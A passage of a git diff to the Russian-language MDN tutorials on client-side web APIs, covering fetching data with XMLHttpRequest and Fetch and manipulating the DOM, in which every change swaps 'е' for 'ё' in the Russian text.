href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/ajax-start.html">ajax-start.html</a> и четырёх текстовых файлов - <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> и <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a> - в новом каталоге на вашем компьютере. В этом примере мы загрузим другое стихотворение (который вы вполне можете распознать) через XHR, когда он будет выбран в выпадающем меню.</p> </li> <li> - <p>Внутри элемента {{htmlelement("script")}} добавьте следующий код. В нем хранится ссылка на элементы {{htmlelement("select")}} и {{htmlelement("pre")}} в переменных и определяется {{domxref ("GlobalEventHandlers.onchange", "onchange")}} обработчика событий, так что, когда значение select изменяется, его значение передается вызываемой функции <code>updateDisplay()</code> в качестве параметра.</p> + <p>Внутри элемента {{htmlelement("script")}} добавьте следующий код. В нем хранится ссылка на элементы {{htmlelement("select")}} и {{htmlelement("pre")}} в переменных и определяется {{domxref ("GlobalEventHandlers.onchange", "onchange")}} обработчика событий, так что, когда значение select изменяется, его значение передаётся вызываемой функции <code>updateDisplay()</code> в качестве параметра.</p> <pre class="brush: js">var verseChoose = document.querySelector('select'); var poemDisplay = document.querySelector('pre'); @@ -100,7 +100,7 @@ verseChoose.onchange = function() { };</pre> </li> <li> - <p>Мы начнем нашу функцию с создания относительного URL-адреса, указывающего на текстовый файл, который мы хотим загрузить и который понадобится нам позже. Значение элемента {{htmlelement("select")}} в любой момент совпадает с текстом внутри выбранного {{htmlelement("option")}} (если вы не укажете другое значение в атрибуте value) - например, «Verse 1». Соответствующий текстовый файл стиха является «verse1.txt» и находится в том же каталоге, что и файл HTML, поэтому будет использоваться только имя файла.</p> + <p>Мы начнём нашу функцию с создания относительного URL-адреса, указывающего на текстовый файл, который мы хотим загрузить и который понадобится нам позже. Значение элемента {{htmlelement("select")}} в любой момент совпадает с текстом внутри выбранного {{htmlelement("option")}} (если вы не укажете другое значение в атрибуте value) - например, «Verse 1». Соответствующий текстовый файл стиха является «verse1.txt» и находится в том же каталоге, что и файл HTML, поэтому будет использоваться только имя файла.</p> <p>Тем не менее, веб-серверы, как правило, чувствительны к регистру, и имя файла не имеет символа "пробела". Чтобы преобразовать «Verse 1» в «verse1.txt», нам нужно преобразовать V в нижний регистр, удалить пробел и добавить .txt в конец. Это можно сделать с помощью {{jsxref("String.replace", "replace ()")}}, {{jsxref("String.toLowerCase", "toLowerCase ()")}} и простой <a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Strings#Concatenating_strings">конкатенации строк</a>. Добавьте следующие строки внутри функции <code>updateDisplay()</code>:</p> @@ -114,7 +114,7 @@ var url = verse + '.txt';</pre> <pre class="brush: js">var request = new XMLHttpRequest();</pre> </li> <li> - <p>Затем вам нужно использовать метод {{domxref("XMLHttpRequest.open", "open()")}}, чтобы указать, какой <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP request method</a> использовать для запроса ресурса из сети и какой его URL-адрес. Мы просто используем метод <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> здесь и задаем URL как нашу переменную <code>url</code>. Добавьте это ниже вашей предыдущей строки:</p> + <p>Затем вам нужно использовать метод {{domxref("XMLHttpRequest.open", "open()")}}, чтобы указать, какой <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods">HTTP request method</a> использовать для запроса ресурса из сети и какой его URL-адрес. Мы просто используем метод <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Methods/GET">GET</a></code> здесь и задаём URL как нашу переменную <code>url</code>. Добавьте это ниже вашей предыдущей строки:</p> <pre class="brush: js">request.open('GET', url);</pre> </li> @@ -124,7 +124,7 @@ var url = verse + '.txt';</pre> <pre class="brush: js">request.responseType = 'text';</pre> </li> <li> - <p>Получение ресурса из сети - это {{glossary("asynchronous")}} операция, означающая, что вам нужно дождаться завершения этой операции (например, ресурс возвращается из сети), прежде чем вы сможете сделать что-либо с этим ответом, иначе будет выброшена ошибка. XHR позволяет вам обрабатывать это, используя обработчик события {{domxref("XMLHttpRequest.onload", "onload")}} - он запускается при возникновении события {{event("load")}} (когда ответ вернулся). Когда это произойдет, данные ответа будут доступны в свойстве <code>response</code> (ответ) объекта запроса XHR.</p> + <p>Получение ресурса из сети - это {{glossary("asynchronous")}} операция, означающая, что вам нужно дождаться завершения этой операции (например, ресурс возвращается из сети), прежде чем вы сможете сделать что-либо с этим ответом, иначе будет выброшена ошибка. XHR позволяет вам обрабатывать это, используя обработчик события {{domxref("XMLHttpRequest.onload", "onload")}} - он запускается при возникновении события {{event("load")}} (когда ответ вернулся). Когда это произойдёт, данные ответа будут доступны в свойстве <code>response</code> (ответ) объекта запроса XHR.</p> <p>Добавьте следующее ниже вашего последнего дополнения. Вы увидите, что внутри обработчика события <code>onload</code> мы устанавливаем textContent <code>poemDisplay</code> (элемент {{htmlelement("pre")}}) в значение {{domxref("XMLHttpRequest.response", "request. response ")}}.</p> @@ -133,7 +133,7 @@ var url = verse + '.txt';</pre> };</pre> </li> <li> - <p>Вышеприведенная конфигурация запроса XHR фактически не будет выполняться до тех пор, пока мы не вызовем метод {{domxref("XMLHttpRequest.send", "send()")}}. Добавьте следующее ниже вашего предыдущего дополнения для вызова функции:</p> + <p>Вышеприведённая конфигурация запроса XHR фактически не будет выполняться до тех пор, пока мы не вызовем метод {{domxref("XMLHttpRequest.send", "send()")}}. Добавьте следующее ниже вашего предыдущего дополнения для вызова функции:</p> <pre class="brush: js">request.send();</pre> </li> @@ -159,7 +159,7 @@ verseChoose.value = 'Verse 1';</pre> <ol> <li> - <p>Сделайте копию своего предыдущего готового каталога примеров. (Если вы не работали над предыдущим упражнением, создайте новый каталог и внутри него создайте копии <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a> и четырех текстовых файлов — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> и <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a>.)</p> + <p>Сделайте копию своего предыдущего готового каталога примеров. (Если вы не работали над предыдущим упражнением, создайте новый каталог и внутри него создайте копии <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/xhr-basic.html">xhr-basic.html</a> и четырёх текстовых файлов — <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse1.txt">verse1.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse2.txt">verse2.txt</a>, <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse3.txt">verse3.txt</a> и <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/verse4.txt">verse4.txt</a>.)</p> </li> <li> <p>Внутри функции <code>updateDisplay()</code> найдите код XHR:</p> @@ -192,9 +192,9 @@ request.send();</pre> <p>Прежде всего, мы вызываем метод {{domxref("WorkerOrWindowGlobalScope.fetch()", "fetch()")}}, передавая ему URL-адрес ресурса, который мы хотим получить. Это современный эквивалент {{domxref("XMLHttpRequest.open", "request.open()")}} в XHR, плюс вам не нужен эквивалент <code>.send()</code>.</p> -<p>После этого вы можете увидеть метод {{jsxref("Promise.then", ".then()")}}, прикреплённый в конец <code>fetch()</code> - этот метод является частью {{jsxref("Promise","Promises")}} - современная функция JavaScript для выполнения асинхронных операций. <code>fetch()</code> возвращает обещание, которое разрешает ответ, отправленный обратно с сервера, - мы используем <code>.then()</code> для запуска некоторого последующего кода после того, как обещание будет разрешено, что является функцией, которую мы определили внутри нее. Это эквивалент обработчика события <code>onload</code> в XHR-версии.</p> +<p>После этого вы можете увидеть метод {{jsxref("Promise.then", ".then()")}}, прикреплённый в конец <code>fetch()</code> - этот метод является частью {{jsxref("Promise","Promises")}} - современная функция JavaScript для выполнения асинхронных операций. <code>fetch()</code> возвращает обещание, которое разрешает ответ, отправленный обратно с сервера, - мы используем <code>.then()</code> для запуска некоторого последующего кода после того, как обещание будет разрешено, что является функцией, которую мы определили внутри неё. Это эквивалент обработчика события <code>onload</code> в XHR-версии.</p> -<p>Эта функция автоматически передает ответ от сервера в качестве параметра, когда обещает <code>fetch()</code>. Внутри функции мы берем ответ и запускаем его метод {{domxref("Body.text", "text()")}}, который в основном возвращает ответ как необработанный текст. Это эквивалент <code>request.responseType = 'text'</code> в версии XHR.</p> +<p>Эта функция автоматически передаёт ответ от сервера в качестве параметра, когда обещает <code>fetch()</code>. Внутри функции мы берём ответ и запускаем его метод {{domxref("Body.text", "text()")}}, который в основном возвращает ответ как необработанный текст. Это эквивалент <code>request.responseType = 'text'</code> в версии XHR.</p> <p>Вы увидите, что <code>text()</code>также возвращает обещание, поэтому мы привязываем к нему другой <code>.then()</code>, внутри которого мы определяем функцию для получения необработанного текста, который обещает решение <code>text()</code>.</p> @@ -204,7 +204,7 @@ request.send();</pre> <p>Обещания немного запутывают первый раз, когда вы их встречаете, но не беспокойтесь об этом слишком долго. Через некоторое время вы привыкнете к ним, особенно, когда вы узнаете больше о современных JavaScript-API. Большинство из них в большей степени основаны на обещаниях.</p> -<p>Давайте посмотрим на структуру обещаний сверху, чтобы увидеть, можем ли мы еще немного понять это:</p> +<p>Давайте посмотрим на структуру обещаний сверху, чтобы увидеть, можем ли мы ещё немного понять это:</p> <pre class="brush: js">fetch(url).then(function(response) { response.text().then(function(text) { @@ -214,7 +214,7 @@ request.send();</pre> <p>В первой строке говорится: «Получить ресурс, расположенный по адресу url» <code>(fetch(url)</code>) и «затем запустить указанную функцию, когда обещание будет разрешено» (<code>.then(function() { ... })</code>). «Resolve» означает «завершить выполнение указанной операции в какой-то момент в будущем». Указанная операция в этом случае заключается в извлечении ресурса с указанного URL (с использованием HTTP-запроса) и возврата ответа для нас, чтобы что-то сделать.</p> -<p>Фактически, функция, переданная в <code>then()</code>, представляет собой кусок кода, который не запускается немедленно - вместо этого он будет работать в какой-то момент в будущем, когда ответ будет возвращен. Обратите внимание, что вы также можете сохранить свое обещание в переменной и цепочку {{jsxref("Promise.then", ".then()")}} вместо этого. Ниже код будет делать то же самое:</p> +<p>Фактически, функция, переданная в <code>then()</code>, представляет собой кусок кода, который не запускается немедленно - вместо этого он будет работать в какой-то момент в будущем, когда ответ будет возвращён. Обратите внимание, что вы также можете сохранить своё обещание в переменной и цепочку {{jsxref("Promise.then", ".then()")}} вместо этого. Ниже код будет делать то же самое:</p> <pre class="brush: js">var myFetch = fetch(url); @@ -224,7 +224,7 @@ myFetch.then(function(response) { }); });</pre> -<p>Поскольку метод <code>fetch()</code> возвращает обещание, которое разрешает HTTP-ответ, любая функция, которую вы определяете внутри <code>.then()</code>, прикованная к концу, будет автоматически передаваться как параметр. Вы можете вызвать параметр, который вам нравится - приведенный ниже пример будет работать:</p> +<p>Поскольку метод <code>fetch()</code> возвращает обещание, которое разрешает HTTP-ответ, любая функция, которую вы определяете внутри <code>.then()</code>, прикованная к концу, будет автоматически передаваться как параметр. Вы можете вызвать параметр, который вам нравится - приведённый ниже пример будет работать:</p> <pre class="brush: js">fetch(url).then(function(dogBiscuits) { dogBiscuits.text().then(function(text) { @@ -258,15 +258,15 @@ myFetch.then(function(response) { <h3 id="Какой_механизм_следует_использовать">Какой механизм следует использовать?</h3> -<p>Это действительно зависит от того, над каким проектом вы работаете. XHR существует уже давно и имеет отличную кросс-браузерную поддержку. Fetch and Promises, с другой стороны, являются более поздним дополнением к веб-платформе, хотя они хорошо поддерживаются в браузере, за исключением Internet Explorer и Safari (которые на момент написания Fetch были доступны в своем предварительный просмотр технологии).</p> +<p>Это действительно зависит от того, над каким проектом вы работаете. XHR существует уже давно и имеет отличную кросс-браузерную поддержку. Fetch and Promises, с другой стороны, являются более поздним дополнением к веб-платформе, хотя они хорошо поддерживаются в браузере, за исключением Internet Explorer и Safari (которые на момент написания Fetch были доступны в своём предварительный просмотр технологии).</p> <p>Если вам необходимо поддерживать старые браузеры, тогда может быть предпочтительным решение XHR. Если, однако, вы работаете над более прогрессивным проектом и не так обеспокоены старыми браузерами, то Fetch может быть хорошим выбором.</p> -<p>Вам действительно нужно учиться - Fetch станет более популярным, так как Internet Explorer отказывается от использования (IE больше не разрабатывается, в пользу нового браузера Microsoft Edge), но вам может понадобиться XHR еще некоторое время.</p> +<p>Вам действительно нужно учиться - Fetch станет более популярным, так как Internet Explorer отказывается от использования (IE больше не разрабатывается, в пользу нового браузера Microsoft Edge), но вам может понадобиться XHR ещё некоторое время.</p> <h2 id="Более_сложный_пример">Более сложный пример</h2> -<p>Чтобы завершить статью, мы рассмотрим несколько более сложный пример, который показывает более интересные применения Fetch. Мы создали образец сайта под названием The Can Store - это вымышленный супермаркет, который продает только консервы. Вы можете найти этот пример <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">в прямом эфире на GitHub</a> и <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">посмотреть исходный код</a>.</p> +<p>Чтобы завершить статью, мы рассмотрим несколько более сложный пример, который показывает более интересные применения Fetch. Мы создали образец сайта под названием The Can Store - это вымышленный супермаркет, который продаёт только консервы. Вы можете найти этот пример <a href="https://mdn.github.io/learning-area/javascript/apis/fetching-data/can-store/">в прямом эфире на GitHub</a> и <a href="https://github.com/mdn/learning-area/tree/master/javascript/apis/fetching-data/can-store">посмотреть исходный код</a>.</p> <p><img alt="A fake ecommerce site showing search options in the left hand column, and product search results in the right hand column." src="https://mdn.mozillademos.org/files/14779/can-store.png" style="display: block; margin: 0 auto;"></p> @@ -289,7 +289,7 @@ myFetch.then(function(response) { } });</pre> -<p>Это похоже на то, что мы видели раньше, за исключением того, что второе обещание находится в условном выражении. В этом случае мы проверяем, был ли возвращенный ответ успешным - свойство {{domxref("response.ok")}} содержит логическое значение, которое <code>true</code>, если ответ был в порядке (например, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/200">200 meaning "OK"</a>) или <code>false</code>, если он не увенчался успехом.</p> +<p>Это похоже на то, что мы видели раньше, за исключением того, что второе обещание находится в условном выражении. В этом случае мы проверяем, был ли возвращённый ответ успешным - свойство {{domxref("response.ok")}} содержит логическое значение, которое <code>true</code>, если ответ был в порядке (например, <a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Status/200">200 meaning "OK"</a>) или <code>false</code>, если он не увенчался успехом.</p> <p>Если ответ был успешным, мы выполняем второе обещание - на этот раз мы используем {{domxref("Body.json", "json()")}}, а не {{domxref("Body.text", "text()")}}, так как мы хотим вернуть наш ответ как структурированные данные JSON, а не обычный текст.</p> @@ -300,7 +300,7 @@ myFetch.then(function(response) { <ol> <li>Создание локальной копии файлов примеров (загрузка и распаковка <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/fetching-data/can-store/can-store.zip?raw=true">the can-store ZIP file</a>)</li> <li>Запустите код через веб-сервер (как описано выше, в {{anch("Serving your example from a server")}})</li> - <li>Измените путь к извлеченному файлу, например, «product.json» (т.е. убедитесь, что он написан неправильно)</li> + <li>Измените путь к извлечённому файлу, например, «product.json» (т.е. убедитесь, что он написан неправильно)</li> <li>Теперь загрузите индексный файл в свой браузер (например, через <code>localhost:8000</code>) и посмотрите в консоли разработчика браузера. Вы увидите сообщение в строке «Запрос сети для продуктов.json не удалось с ответом 404: Файл не найден»</li> </ol> @@ -319,7 +319,7 @@ myFetch.then(function(response) { <p>Это работает во многом так же, как и предыдущий, за исключением того, что вместо использования {{domxref("Body.json", "json()")}} мы используем {{domxref("Body.blob", "blob()")}} - в этом случае мы хотим вернуть наш ответ в виде файла изображения, а формат данных, который мы используем для этого - <a href="https://developer.mozilla.org/en-US/docs/Web/API/Blob">Blob</a> - этот термин является аббревиатурой от« Binary Large Object »и может в основном использоваться для представляют собой большие файловые объекты, такие как изображения или видеофайлы.</p> -<p>После того как мы успешно получили наш blob, мы создаем URL-адрес объекта, используя {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Это возвращает временный внутренний URL-адрес, указывающий на объект, указанный в браузере. Они не очень читаемы, но вы можете видеть, как выглядит, открывая приложение Can Store, Ctrl-/щелкнуть правой кнопкой мыши по изображению и выбрать опцию «Просмотр изображения» (которая может немного отличаться в зависимости от того, какой браузер вы ). URL-адрес объекта будет отображаться внутри адресной строки и должен выглядеть примерно так:</p> +<p>После того как мы успешно получили наш blob, мы создаём URL-адрес объекта, используя {{domxref("URL.createObjectURL()", "createObjectURL()")}}. Это возвращает временный внутренний URL-адрес, указывающий на объект, указанный в браузере. Они не очень читаемы, но вы можете видеть, как выглядит, открывая приложение Can Store, Ctrl-/щёлкнуть правой кнопкой мыши по изображению и выбрать опцию «Просмотр изображения» (которая может немного отличаться в зависимости от того, какой браузер вы ). URL-адрес объекта будет отображаться внутри адресной строки и должен выглядеть примерно так:</p> <pre>blob:http://localhost:7800/9b75250e-5279-e249-884f-d03eb1fd84f4</pre> diff --git a/files/ru/learn/javascript/client-side_web_apis/index.html b/files/ru/learn/javascript/client-side_web_apis/index.html index b5e7493f19..ed8a1b0a19 100644 --- a/files/ru/learn/javascript/client-side_web_apis/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/index.html @@ -21,7 +21,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs --- <div>{{LearnSidebar}}</div> -<p class="summary">При написании клиентского JavaScript для приложений или веб-сайтов Вам не приходится слишком сильно углубляться, пока Вы не начнете использовать API — интерфейсы управления различными аспектами браузера или операционной системы на которой этот сайт работает, или же с данными с других веб-сайтов или сервисов. В этом модуле мы рассмотрим что API из себя представляет и как использовать самые распространенные из них, с которыми Вы можете столкнуться в разработке.</p> +<p class="summary">При написании клиентского JavaScript для приложений или веб-сайтов Вам не приходится слишком сильно углубляться, пока Вы не начнёте использовать API — интерфейсы управления различными аспектами браузера или операционной системы на которой этот сайт работает, или же с данными с других веб-сайтов или сервисов. В этом модуле мы рассмотрим что API из себя представляет и как использовать самые распространённые из них, с которыми Вы можете столкнуться в разработке.</p> <h2 id="Прежде_чем_начать">Прежде чем начать</h2> @@ -37,11 +37,11 @@ translation_of: Learn/JavaScript/Client-side_web_APIs <dl> <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Introduction">Введение в различные web API</a></dt> - <dd>Прежде всего, мы начнем изучение API с основ - что это такое, как это работает, как вы используете их в своем коде и как они структурированы? Мы также рассмотрим, что представляют собой различные основные классы API, и как их можно использовать.</dd> + <dd>Прежде всего, мы начнём изучение API с основ - что это такое, как это работает, как вы используете их в своём коде и как они структурированы? Мы также рассмотрим, что представляют собой различные основные классы API, и как их можно использовать.</dd> <dt><a href="/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Manipulating_documents">Управление документами</a></dt> <dd><span id="result_box" lang="ru"><span>При написании веб-страниц и приложений Вы чаще всего </span></span><span lang="ru"><span>будете управлять каким-либо образом веб-документами. </span></span> <span id="result_box" lang="ru"><span>Обычно это делается с помощью Document Object Model (DOM), набора API-интерфейсов для управления HTML-разметкой и стилями, которые используют объект {{domxref ("Document")}}. </span></span><span id="result_box" lang="ru"><span>В этой статье мы рассмотрим, как использовать DOM, а также некоторые интересные API, которые могут изменить рабочую среду интересными способами.</span></span></dd> <dt><a href="https://developer.mozilla.org/ru/docs/Learn/JavaScript/Client-side_web_APIs/Fetching_data">Получение данных с сервера</a></dt> - <dd>Другой очень распространенной задачей в современных веб-сайтах и приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки абсолютно новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые позволяют это, например {{domxref("XMLHttpRequest")}} и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</dd> + <dd>Другой очень распространённой задачей в современных веб-сайтах и приложениях является получение отдельных элементов данных с сервера для обновления разделов веб-страницы без необходимости загрузки абсолютно новой страницы. Эта, казалось бы, небольшая деталь оказала огромное влияние на производительность и поведение сайтов, поэтому в этой статье мы объясним концепцию и рассмотрим технологии, которые позволяют это, например {{domxref("XMLHttpRequest")}} и <a href="https://developer.mozilla.org/en-US/docs/Web/API/Fetch_API">Fetch API</a>.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Third_party_APIs">Сторонние API</a></dt> <dd>API, которые мы рассматривали до сих пор, встроены в браузер, но не все API встроены в браузер. Многие крупные веб-сайты и сервисы, такие как Google Maps, Twitter, Facebook, PayPal и т.д. предоставляют API-интерфейсы, позволяющие разработчикам использовать свои данные (например, показывать ваш Twitter-поток в вашем блоге) или сервисы (например, отображение пользовательских карт Google на вашем сайте, или с помощью входа в систему Facebook для входа в систему пользователей). В этой статье рассматривается различие между API браузера и сторонними API и показано типичное использование последнего.</dd> <dt><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/Client-side_web_APIs/Drawing_graphics">Рисование графики</a></dt> diff --git a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html index 089ee32bab..322ff509a5 100644 --- a/files/ru/learn/javascript/client-side_web_apis/introduction/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/introduction/index.html @@ -43,7 +43,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Introduction <p>Для JavaScript на стороне клиента, в частности, существует множество API. Они не являются частью языка, а построены с помощью встроенных функций JavaScript для того, чтобы увеличить ваши возможности при написании кода. Их можно разделить на две категории:</p> <ul> - <li><strong>API браузера</strong> встроены в веб-браузер и способны использовать данные браузера и компьютерной среды для осуществления более сложных действий с этими данными. К примеру, <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">API Геолокации (Geolocation API)</a> предоставляет простые в использовании конструкции JavaScript для работы с данными местоположения, так что вы сможете, допустим, отметить свое расположение на карте Google Map. На самом деле, в браузере выполняется сложный низкоуровневый код (например, на C++) для подключения к устройству GPS (или любому другому устройству геолокации), получения данных и передачи их браузеру для обработки вашей программой, но, как было сказано выше, эти детали скрыты благодаря API.</li> + <li><strong>API браузера</strong> встроены в веб-браузер и способны использовать данные браузера и компьютерной среды для осуществления более сложных действий с этими данными. К примеру, <a href="/en-US/docs/Web/API/Geolocation/Using_geolocation">API Геолокации (Geolocation API)</a> предоставляет простые в использовании конструкции JavaScript для работы с данными местоположения, так что вы сможете, допустим, отметить своё расположение на карте Google Map. На самом деле, в браузере выполняется сложный низкоуровневый код (например, на C++) для подключения к устройству GPS (или любому другому устройству геолокации), получения данных и передачи их браузеру для обработки вашей программой, но, как было сказано выше, эти детали скрыты благодаря API.</li> <li><strong>Сторонние API</strong> не встроены в браузер по умолчанию. Такие API и информацию о них обычно необходимо искать в интернете. Например, <a href="https://dev.twitter.com/overview/documentation">Twitter API</a> позволяет размещать последние твиты (tweets) на вашем веб-сайте. В данном API определён набор конструкций, осуществляющих запросы к сервисам Twitter и возвращающих определённые данные.</li> </ul> diff --git a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html index a0e35bc998..f9ce1ece00 100644 --- a/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html +++ b/files/ru/learn/javascript/client-side_web_apis/manipulating_documents/index.html @@ -31,9 +31,9 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <h2 id="Важные_элементы_веб-браузера">Важные элементы веб-браузера</h2> -<p>Веб-браузеры - очень сложные части программного обеспечения с множеством движущихся частей, многие из которых не могут управляться или управляться веб-разработчиком с использованием JavaScript. Вы можете подумать, что такие ограничения - это плохо, но браузеры заблокированы по уважительным причинам (в основном ради безопасности). Представьте себе, что веб-сайт может получить доступ к вашим сохраненным паролям или другой конфиденциальной информации и войти на веб-сайты так, как если бы это были вы?</p> +<p>Веб-браузеры - очень сложные части программного обеспечения с множеством движущихся частей, многие из которых не могут управляться или управляться веб-разработчиком с использованием JavaScript. Вы можете подумать, что такие ограничения - это плохо, но браузеры заблокированы по уважительным причинам (в основном ради безопасности). Представьте себе, что веб-сайт может получить доступ к вашим сохранённым паролям или другой конфиденциальной информации и войти на веб-сайты так, как если бы это были вы?</p> -<p>Несмотря на ограничения, Web API по-прежнему дают нам доступ к множеству функциональных возможностей, которые позволяют нам многое делать с веб-страницами. Есть несколько действительно очевидных моментов, на которые вы будете регулярно ссылаться в своем коде. Рассмотрим следующую диаграмму, которая представляет основные части браузера, непосредственно участвующие в просмотре веб-страниц:</p> +<p>Несмотря на ограничения, Web API по-прежнему дают нам доступ к множеству функциональных возможностей, которые позволяют нам многое делать с веб-страницами. Есть несколько действительно очевидных моментов, на которые вы будете регулярно ссылаться в своём коде. Рассмотрим следующую диаграмму, которая представляет основные части браузера, непосредственно участвующие в просмотре веб-страниц:</p> <p><img alt="" src="https://mdn.mozillademos.org/files/14557/document-window-navigator.png" style="display: block; margin: 0 auto;"></p> @@ -49,7 +49,7 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <p>Документ, загруженный в каждый из ваших вкладок браузера, представлен объектной моделью документа. Это представление «древовидной структуры», созданное браузером, которое позволяет легко получить доступ к структуре HTML с помощью языков программирования - например, сам браузер использует его для применения стиля и другой информации к правильным элементам, поскольку он отображает страницу, а разработчики (как Вы) могут манипулировать DOM с JavaScript после того, как страница была отображена.</p> -<p>Мы создали простую страницу примера в <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">см. также live</a>). Попробуйте открыть это в своем браузере - это очень простая страница, содержащая элемент {{htmlelement("section")}}, внутри которого вы можете найти изображение и абзац со ссылкой внутри. Исходный код HTML выглядит так:</p> +<p>Мы создали простую страницу примера в <a href="https://github.com/mdn/learning-area/blob/master/javascript/apis/document-manipulation/dom-example.html">dom-example.html</a> (<a href="https://mdn.github.io/learning-area/javascript/apis/document-manipulation/dom-example.html">см. также live</a>). Попробуйте открыть это в своём браузере - это очень простая страница, содержащая элемент {{htmlelement("section")}}, внутри которого вы можете найти изображение и абзац со ссылкой внутри. Исходный код HTML выглядит так:</p> <pre class="brush: html notranslate"><!DOCTYPE html> <html> @@ -73,23 +73,23 @@ translation_of: Learn/JavaScript/Client-side_web_APIs/Manipulating_documents <p><strong>Примечание</strong>. Эта диаграмма дерева DOM была создана с использованием <a href="https://software.hixie.ch/utilities/js/live-dom-viewer/">Live DOM viewer</a> Яна Хиксона.</p> </div> -<p>Вы можете видеть здесь, что каждый элемент и бит текста в документе имеют свою собственную запись в дереве - каждый из них называется <strong>узлом</strong> (<strong>node)</strong>. Вы также столкнетесь с различными терминами, используемыми для описания типа узла, и их положением в дереве относительно друг друга:</p> +<p>Вы можете видеть здесь, что каждый элемент и бит текста в документе имеют свою собственную запись в дереве - каждый из них называется <strong>узлом</strong> (<strong>node)</strong>. Вы также столкнётесь с различными терминами, используемыми для описания типа узла, и их положением в дереве относительно друг друга:</p> <ul> <li><strong>Element node</strong>: элемент, как он существует в DOM.</li> <li><strong>Root node</strong>: верхний узел в дереве, который в случае <code>HTML</code> всегда является узлом HTML (другие словари разметки, такие как SVG и пользовательский XML, будут иметь разные корневые элементы)..</li> - <li><strong>Child node</strong>: узел <em>непосредственно</em> внутри другого узла. Например, <code>IMG</code> является дочерним элементом <code>SECTION</code> в приведенном выше примере.</li> - <li><strong>Descendant node</strong> (узел потомок): узел внутри дочернего элемента. Например, <code>IMG</code> является дочерним элементом <code>SECTION</code> в приведенном выше примере, и он также является потомком для родителя <code>SECTION</code>. <code>IMG</code> не является ребенком <code>BODY</code>, так как он находится на двух уровнях ниже дерева в дереве, но он является потомком <code>BODY</code>.</li> - <li><strong>Parent node</strong>: узел, в котором текущий узел. Например, <code>BODY</code> является родительским узлом <code>SECTION</code> в приведенном выше примере.</li> - <li><strong>Sibling nodes</strong> (одноуровневый узел): узлы, которые расположены на одном уровне в дереве DOM. Например, <code>IMG</code> и <code>P</code> являются братьями и сестрами в приведенном выше примере.</li> + <li><strong>Child node</strong>: узел <em>непосредственно</em> внутри другого узла. Например, <code>IMG</code> является дочерним элементом <code>SECTION</code> в приведённом выше примере.</li> + <li><strong>Descendant node</strong> (узел потомок): узел внутри дочернего элемента. Например, <code>IMG</code> является дочерним элементом <code>SECTION</code> в приведённом выше примере, и он также является потомком для родителя <code>SECTION</code>. <code>IMG</code> не является ребёнком <code>BODY</code>, так как он находится на двух уровнях ниже дерева в дереве, но он является потомком <code>BODY</code>.</li> + <li><strong>Parent node</strong>: узел, в котором текущий узел. Например, <code>BODY</code> является родительским узлом <code>SECTION</code> в приведённом выше примере.</li> + <li><strong>Sibling nodes</strong> (одноуровневый узел): узлы, которые расположены на одном уровне в дереве DOM. Например, <code>IMG</code> и <code>P</code> являются братьями и сёстрами в приведённом выше примере.</li> <li><strong>Text node</strong>: узел, содержащий текстовую строку.</li> </ul> -<p>Полезно ознакомиться с этой терминологией перед тем, как работать с DOM, поскольку некоторые термины кода, с которыми вы столкнетесь, используют их.. Возможно, вы уже сталкивались с ними, если вы изучали CSS (например, селектор потомков, дочерний селектор).</p> +<p>Полезно 